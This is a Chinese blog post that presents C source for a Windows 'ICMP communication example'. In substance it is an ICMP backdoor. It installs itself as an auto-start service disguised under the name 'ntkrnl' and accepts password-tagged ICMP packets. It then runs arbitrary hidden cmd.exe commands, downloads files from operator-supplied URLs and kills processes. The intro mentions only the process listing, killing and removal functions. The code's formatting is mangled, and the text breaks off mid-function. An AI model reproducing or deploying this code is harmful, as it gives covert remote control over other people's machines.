现在的位置: 首页 > 综合 > 正文

ICMP 通讯例子

2013年08月11日 ⁄ 综合 ⁄ 共 12504字 ⁄ 字号 评论关闭

      代码从网上所得,是一个通过ICMP 协议通讯的例子。 服务器端,注册成为服务,所支持的功能有限,只有list process,以及 stop process ,以及卸载服务器的段所注册的服务。 (可以从代码中看到原作者)

    服务器端代码如下: 

#include <winsock2.h>
#include 
<stdio.h>
#include 
<urlmon.h> 
#include 
<tlhelp32.h>
//#include "stdafx.h"

#pragma comment(lib, "Urlmon.lib")
#pragma comment(lib, "ws2_32.lib")

#define ICMP_PASSWORD 1234                                             
#define STATUS_FAILED 0xFFFF
#define MAX_PACKET 6500
#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))

/* The IP header */
typedef 
struct iphdr {
 unsigned 
int h_len:4//4位首部长度
 unsigned int version:4//IP版本号,4表示IPV4
 unsigned char tos; //8位服务类型TOS
 unsigned short total_len; //16位总长度(字节)
 unsigned short ident; //16位标识
 unsigned short frag_and_flags; //3位标志位
 unsigned char ttl; //8位生存时间 TTL
 unsigned char proto; //8位协议 (TCP, UDP 或其他)
 unsigned short checksum; //16位IP首部校验和
 unsigned int sourceIP; //32位源IP地址
 unsigned int destIP; //32位目的IP地址
}IpHeader;

//定义ICMP首部
typedef struct _ihdr 
{
 BYTE i_type; 
//8位类型
 BYTE i_code; //8位代码
 USHORT i_cksum; //16位校验和 
 USHORT i_id; //识别号(一般用进程号作为识别号)
 USHORT i_seq; //报文序列号 
 ULONG timestamp; //时间戳
}IcmpHeader;

char arg[256];
char buffer[2048= {0};//管道输出的数据
void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
void fill_icmp_data(char * icmp_data);
void pslist(void);
BOOL killps(DWORD id);
//杀进程函数
void send(void);
char *ICMP_DEST_IP;
USHORT checksum(USHORT 
*buffer, int size);

 

HANDLE                hMutex;
SERVICE_STATUS        ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;

void  WINAPI ICMP_CmdStart(DWORD,LPTSTR *);
void  WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);
void  InstallCmdService(void);
void  RemoveCmdService(void);
void  usage(char *par);

int main(int argc,char *argv[])
{
#if 0
 SERVICE_TABLE_ENTRY DispatchTable[]
={{"ntkrnl",ICMP_CmdStart},{NULL,NULL}};

 if(argc==2)
 {
  
if(!stricmp(argv[1],"-install"))
  {
   usage(argv[
0]);
   InstallCmdService();
  }
  
else if(!stricmp(argv[1],"-remove"))
  {
   usage(argv[
0]);
   RemoveCmdService();
  }
  
else usage(argv[0]);
  
return 0;
 }
 
else usage(argv[0]);

 

 StartServiceCtrlDispatcher(DispatchTable);
#endif
 CmdService(
0);
 
return 0;
}

void WINAPI ICMP_CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
 HANDLE    hThread;

 ServiceStatus.dwServiceType             = SERVICE_WIN32;
 ServiceStatus.dwCurrentState            
= SERVICE_START_PENDING;
 ServiceStatus.dwControlsAccepted        
= SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
 ServiceStatus.dwServiceSpecificExitCode 
= 0;
 ServiceStatus.dwWin32ExitCode           
= 0;
 ServiceStatus.dwCheckPoint              
= 0;
 ServiceStatus.dwWaitHint                
= 0;

 ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
 
if(ServiceStatusHandle==0)
 {
  OutputDebugString(
"RegisterServiceCtrlHandler Error ! ");
  
return ;
 }

 ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   
= 0;
 ServiceStatus.dwWaitHint     
= 0;

 if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
 {
  OutputDebugString(
"SetServiceStatus in CmdStart Error ! ");
  
return ;
 }

 hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
 
if(hThread==NULL)
 {
  OutputDebugString(
"CreateThread in CmdStart Error ! ");
 }

 return ;
}

void WINAPI CmdControl(DWORD dwCode)
{
 
switch(dwCode)
 {
 
case SERVICE_CONTROL_PAUSE:
  ServiceStatus.dwCurrentState 
= SERVICE_PAUSED;
  
break;

 case SERVICE_CONTROL_CONTINUE:
  ServiceStatus.dwCurrentState 
= SERVICE_RUNNING;
  
break;

 case SERVICE_CONTROL_STOP:      
  WaitForSingleObject(hMutex,INFINITE);

  ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
  ServiceStatus.dwWin32ExitCode 
= 0;
  ServiceStatus.dwCheckPoint    
= 0;
  ServiceStatus.dwWaitHint      
= 0;
  
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
  {
   OutputDebugString(
"SetServiceStatus in CmdControl in Switch Error ! ");
  }

  ReleaseMutex(hMutex);
  CloseHandle(hMutex);
  return ;

 case SERVICE_CONTROL_INTERROGATE:
  
break;

 default:
  
break;
 }

 if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
 {
  OutputDebugString(
"SetServiceStatus in CmdControl out Switch Error ! ");
 }

 return ;
}

DWORD WINAPI CmdService(LPVOID lpParam)//这里是服务的主函数,把你的代码写在这里就可以成为服务
{   
 
char *icmp_data;
 
int bread,datasize,retval;
 SOCKET sockRaw 
= (SOCKET)NULL;
 WSADATA wsaData;
 
struct sockaddr_in dest,from;
 
int fromlen = sizeof(from);
 
int timeout = 2000;
 
char *recvbuf;

 

 if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0)
 {
  printf(
"WSAStartup failed: %s ",retval);
  ExitProcess(STATUS_FAILED);
 }

 sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);
 
if (sockRaw == INVALID_SOCKET)
 {
  printf(
"WSASocket() failed: %s ",WSAGetLastError());
  ExitProcess(STATUS_FAILED);
 }
 __try{
  bread 
= setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));

  if(bread == SOCKET_ERROR) __leave;

  memset(&dest,0,sizeof(dest));
  dest.sin_family 
= AF_INET;
  datasize
=0;
  datasize 
+= sizeof(IcmpHeader); 
  icmp_data 
=(char*)xmalloc(MAX_PACKET);
  recvbuf 
= (char*)xmalloc(MAX_PACKET);
  
if (!icmp_data) {
   
//fprintf(stderr,"HeapAlloc failed %d ",GetLastError());
   __leave;
  }
  memset(icmp_data,
0,MAX_PACKET);
  
for(;;) {

   int bwrote;
   bwrote 
= sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));

   bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);
   
if (bread == SOCKET_ERROR)
   {
    
if (WSAGetLastError() == WSAETIMEDOUT)continue;

    __leave;

   }
   decode_resp(recvbuf,bread,&from);
   Sleep(
200);
   memset(recvbuf,
0,sizeof(recvbuf));
  }
 }
 __finally {
  
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
  WSACleanup();
 }
 
return 0;
}

 

void InstallCmdService(void)
{
 SC_HANDLE        schSCManager;
 SC_HANDLE        schService;
 
char             lpCurrentPath[MAX_PATH];
 
char             lpImagePath[MAX_PATH];
 
char             *lpHostName;
 WIN32_FIND_DATA  FileData;
 HANDLE           hSearch;
 DWORD            dwErrorCode;
 SERVICE_STATUS   InstallServiceStatus;

 GetSystemDirectory(lpImagePath,MAX_PATH);
 strcat(lpImagePath,"/ntkrnl.exe");
 lpHostName
=NULL;

 printf("Transmitting File ... ");
 hSearch
=FindFirstFile(lpImagePath,&FileData);
 
if(hSearch==INVALID_HANDLE_VALUE)
 {
  GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
  
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0
  {
   dwErrorCode
=GetLastError();
   
if(dwErrorCode==5)
   {
    printf(
"Failure ... Access is Denied ! ");         
   }
   
else
   {
    printf(
"Failure ! ");
   }
   
return ;
  }
  
else
  {
   printf(
"Success ! ");
  }
 }
 
else
 {
  printf(
"already Exists ! ");
  FindClose(hSearch);
 }

 schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
 
if(schSCManager==NULL)
 {
  printf(
"Open Service Control Manager Database Failure ! ");
  
return ;
 }

 printf("Creating Service .... ");
 schService
=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
  SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
  SERVICE_ERROR_IGNORE,
"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); 
 
if(schService==NULL)
 {
  dwErrorCode
=GetLastError();
  
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
  {
   printf(
"Failure ! ");
   CloseServiceHandle(schSCManager);
   
return ;
  }
  
else
  {
   printf(
"already Exists ! ");
   schService
=OpenService(schSCManager,"ntkrnl",SERVICE_START);
   
if(schService==NULL)
   {
    printf(
"Opening Service .... Failure ! ");
    CloseServiceHandle(schSCManager);
    
return ;
   }
  }
 }
 
else
 {
  printf(
"Success ! ");
 }

 printf("Starting Service .... ");
 
if(StartService(schService,0,NULL)==0)                         
 {
  dwErrorCode
=GetLastError();
  
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
  {
   printf(
"already Running ! ");
   CloseServiceHandle(schSCManager);  
   CloseServiceHandle(schService);
   
return ;
  }
 }
 
else
 {
  printf(
"Pending ... ");
 }

 while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)           
 {
  
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
  {
   Sleep(
100);
  }
  
else
  {
   
break;
  }
 }
 
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
 {
  printf(
"Failure ! ");                       
 }
 
else
 {
  printf(
"Success ! ");
 }

 CloseServiceHandle(schSCManager);
 CloseServiceHandle(schService);
 return ;
}

void RemoveCmdService(void
{
 SC_HANDLE        schSCManager;
 SC_HANDLE        schService;
 
char             lpImagePath[MAX_PATH];
 
char             *lpHostName;
 WIN32_FIND_DATA  FileData;
 SERVICE_STATUS   RemoveServiceStatus;
 HANDLE           hSearch;
 DWORD            dwErrorCode;

 GetSystemDirectory(lpImagePath,MAX_PATH);
 strcat(lpImagePath,"/ntkrnl.exe");
 lpHostName
=NULL;

 schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
 
if(schSCManager==NULL)
 {
  printf(
"Opening SCM ......... ");
  dwErrorCode
=GetLastError();
  
if(dwErrorCode!=5)
  {
   printf(
"Failure ! "); 
  }
  
else
  {
   printf(
"Failuer ... Access is Denied ! ");
  }
  
return ;
 }

 schService=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);
 
if(schService==NULL) 
 {
  printf(
"Opening Service ..... ");
  dwErrorCode
=GetLastError();
  
if(dwErrorCode==1060)
  {
   printf(
"no Exists ! ");
  }
  
else
  {
   printf(
"Failure ! ");
  }
  CloseServiceHandle(schSCManager);
 }
 
else
 {
  printf(
"Stopping Service .... ");
  
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
  {
   
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
   {
    printf(
"already Stopped ! "); 
   }
   
else
   {
    printf(
"Pending ... ");
    
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
    {
     
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)         
     {
      Sleep(
10);
      QueryServiceStatus(schService,
&RemoveServiceStatus);
     }
     
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
     {
      printf(
"Success ! ");
     }
     
else
     {
      printf(
"Failure ! ");
     }
    }
    
else
    {
     printf(
"Failure ! ");          
    }
   }
  }
  
else
  {
   printf(
"Query Failure ! ");
  }

  printf("Removing Service .... ");     
  
if(DeleteService(schService)==0)
  {
   printf(
"Failure ! ");   
  }
  
else
  {
   printf(
"Success ! ");
  }
 }

 CloseServiceHandle(schSCManager);        
 CloseServiceHandle(schService);

 printf("Removing File ....... ");
 Sleep(
1500);
 hSearch
=FindFirstFile(lpImagePath,&FileData);
 
if(hSearch==INVALID_HANDLE_VALUE)
 {
  printf(
"no Exists ! ");
 }
 
else
 {
  
if(DeleteFile(lpImagePath)==0)
  {
   printf(
"Failure ! ");               
  }
  
else
  {
   printf(
"Success ! ");
  }
  FindClose(hSearch);
 }

 return ;
}

void decode_resp(char *buf, int bytes,struct sockaddr_in *from) 
{

 IpHeader *iphdr;
 IcmpHeader 
*icmphdr;
 unsigned 
short iphdrlen;
 iphdr 
= (IpHeader *)buf;
 iphdrlen 
= iphdr->h_len * 4 ; 
 icmphdr 
= (IcmpHeader*)(buf + iphdrlen);
 
if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段
 {

  ICMP_DEST_IP=inet_ntoa(from->sin_addr);//取得ICMP包的源地址

  memcpy(arg,buf
+iphdrlen+12,256);
  
if (!memcmp(arg,"pskill",6))
  {
   killps(atoi(strstr(arg,
" ")));
   memcpy(buffer,
"Process is Killed!",sizeof("Process is Killed!"));
   send();
  }

 

  else if (!memcmp(arg,"pslist",6)){pslist();send();}
  
else if (!strcmp(arg,"remove "))
  {
   RemoveCmdService();
   memcpy(buffer,
"Service Removed!",sizeof("Service Removed!"));
   send();
   
return;
  }
  
////////////************    http下载   *************
  else if (!memcmp(arg,"http://",7))   
  {
   
if(char *FileName=strstr(arg,"-"))
   {

    char url[200];//保存网址的数组
    memset(url,0,200);
    memcpy(url,arg,
int(FileName-arg-1));
    
char fname[MAX_PATH];
    GetSystemDirectory(fname,MAX_PATH);
    FileName
++;
    strcat(fname,
"/");
    strcat(fname,FileName);
    
*strstr(fname," ")=NULL;
    HRESULT hRet
=URLDownloadToFile(0,url,fname,0,0);
    memset(buffer,
0,sizeof(buffer));
    
if(hRet==S_OK) memcpy(buffer,"Download OK! ",sizeof("Download OK "));
    
else 
     memcpy(buffer,
"Download Failure! ",sizeof("Download Failure! "));
    send();
    
return;
   }
  }
  
//*******************************************
  else{

   SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出
   HANDLE hRead,hWrite;
   sa.nLength 
= sizeof(SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor 
= NULL;
   sa.bInheritHandle 
= TRUE;
   
if (!CreatePipe(&hRead,&hWrite,&sa,0)) 
   {
    printf(
"Error On CreatePipe()");
    
return;
   } 

   STARTUPINFO si;
   PROCESS_INFORMATION pi; 
   si.cb = sizeof(STARTUPINFO);
   GetStartupInfo(
&si); 
   si.hStdError 
= hWrite;
   si.hStdOutput 
= hWrite;
   si.wShowWindow 
= SW_HIDE;
   si.dwFlags 
= STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

   char cmdline[270];
   GetSystemDirectory(cmdline,MAX_PATH
+1);

   strcat(cmdline,"/cmd.exe /c");

   strcat(cmdline,arg);
   if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
   {
    printf(
"Error on CreateProcess()");
    
return;
   }
   CloseHandle(hWrite);

   DWORD bytesRead; 

   for(;;){
    
if (!ReadFile(hRead,buffer,2048,&bytesRead,NULL))break;
    Sleep(
200);
   }
   
//printf("%s",buffer);
   /////////////////////////////////////////////
   //发送输出数据

抱歉!评论已关闭.